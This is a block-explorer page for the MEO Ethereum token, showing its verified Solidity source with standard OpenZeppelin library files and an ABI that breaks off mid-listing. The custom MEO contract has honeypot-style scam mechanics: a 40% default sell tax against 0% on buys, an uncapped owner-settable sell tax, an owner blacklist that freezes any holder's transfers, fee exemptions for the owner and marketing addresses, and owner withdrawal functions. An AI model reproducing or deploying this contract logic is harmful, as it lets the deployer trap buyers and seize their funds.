ETH Price: $3,415.13 (+3.11%)

Token

MEO (MEO)
 

Overview

Max Total Supply

10,000,000,000 MEO

Holders

486

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
200 MEO

Value
$0.00
0x27a92ce02ad124c565ab4728aa42b5309857313c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEO

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
File 1 of 7 : MEO.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
        function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}



contract MEO is Ownable, ERC20 {
    mapping(address => bool) public blacklists;
    mapping (address => bool) private excludedFromFee;
    address public marketing = 0xE6B60bF772887c422210c1a9e7A545dfA22EeCfB;
    address public WETH;
    uint256 public buyTax = 0;
    uint256 public sellTax = 40;
    uint256 public limitNumber;
    uint256 public swapNumber;
    bool public blimit = false;
    bool public swapEth = false;
    address public uniswapV2Pair;
    IRouter public _router;


    constructor() ERC20("MEO", "MEO") Ownable(msg.sender)  {
        uint256 totalSupply = 10000000000 * 10**18;
        _mint(msg.sender, totalSupply);

        _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        WETH = _router.WETH();

        limitNumber = totalSupply / 100;
        swapNumber = totalSupply / 300;

        ERC20(WETH).approve(address(_router), type(uint256).max);
        _approve(address(this), address(_router), type(uint256).max);
        _approve(owner(), address(_router), type(uint256).max);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(!blacklists[to] && !blacklists[from], "Blacklisted");

        if(from == owner() 
        || from == marketing
        || from == address(_router)
        || excludedFromFee[from]
        || excludedFromFee[to]
        || to == owner() 
        || to == marketing
        || to == address(_router)
        || from == address(this)
        || to == address(this)) {
            super._transfer(from, to, amount);
            return;
        }

        if(uniswapV2Pair ==  from || uniswapV2Pair ==  to) {
            if(blimit && uniswapV2Pair ==  from && address(_router) != to){
                require((amount + balanceOf(to)) < limitNumber, "limit");
            }
            uint256 tax = 0;
            if(uniswapV2Pair ==  from) {
                tax = buyTax;
            }else{
                tax = sellTax;
            }
            uint256 t = tax * amount / 100;
            super._transfer(from, marketing, t);
            super._transfer(from, to, amount - t);
            return;
        }
        super._transfer(from, to, amount);
    }

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function swapfee() private lockTheSwap {
        uint256 balance = balanceOf(address(this));
        if(balance > swapNumber) {
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = WETH;
            _router.swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, marketing, block.timestamp + 300);
        }
    }

    function setlimit(bool _limit, uint256 _limitNumber) external onlyOwner {
        blimit = _limit;
        limitNumber = _limitNumber;
    }

    function setBuyTax(uint256 _tax) external onlyOwner {
        buyTax = _tax;   
    }

    function setSellTax(uint256 _tax) external onlyOwner {
        sellTax = _tax;   
    }


    function setSwapEth(bool isSwapEth) public onlyOwner {
        swapEth = isSwapEth;
    }

    function setSwapNumber(uint256 _swapNumber)  external onlyOwner {
        swapNumber = _swapNumber;
    }

    function setExcludedFromFee(address _address, bool _excluded) external onlyOwner {
        excludedFromFee[_address] = _excluded;
    }

    function setExcludedFromFeeList(address[] calldata addresses, bool _excluded) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            excludedFromFee[addresses[i]] = _excluded;
        }
    }

    function blacklist(address _address, bool _isBlacklisting) external onlyOwner {
        blacklists[_address] = _isBlacklisting;
    }

    function setblacklist(address[] calldata addresses, bool _isBlacklisting) public onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            blacklists[addresses[i]] = _isBlacklisting;
        }
    }

    function multiTransfer(address[] calldata addresses, uint256[] calldata amounts) public {
        require(addresses.length < 801, "GAS Error: max airdrop limit is 500 addresses");
        require(addresses.length == amounts.length, "Mismatch between Address and token count");

        uint256 sum = 0;
        for (uint256 i = 0; i < addresses.length; i++) {
            sum = sum + amounts[i];
        }

        require(balanceOf(msg.sender) >= sum, "Not enough amount in wallet");
        for (uint256 i = 0; i < addresses.length; i++) {
            _transfer(msg.sender, addresses[i], amounts[i]);
        }
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) public {
        require(addresses.length < 2001, "GAS Error: max airdrop limit is 2000 addresses");

        uint256 sum = amount * addresses.length;
        require(balanceOf(msg.sender) >= sum, "Not enough amount in wallet");

        for (uint256 i = 0; i < addresses.length; i++) {
            _transfer(msg.sender, addresses[i], amount);
        }
    }

    function errorToken(address _token) external onlyOwner {
        ERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this)));
    }
    
    function withdawOwner(uint256 amount) public onlyOwner {
        payable(msg.sender).transfer(amount);
    }

    receive () external payable  {
    }
}

File 2 of 7 : ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

File 3 of 7 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 4 of 7 : draft-IERC6093.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 5 of 7 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 6 of 7 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 7 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"errorToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_excluded","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_excluded","type":"bool"}],"name":"setExcludedFromFeeList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isSwapEth","type":"bool"}],"name":"setSwapEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapNumber","type":"uint256"}],"name":"setSwapNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"setblacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_limit","type":"bool"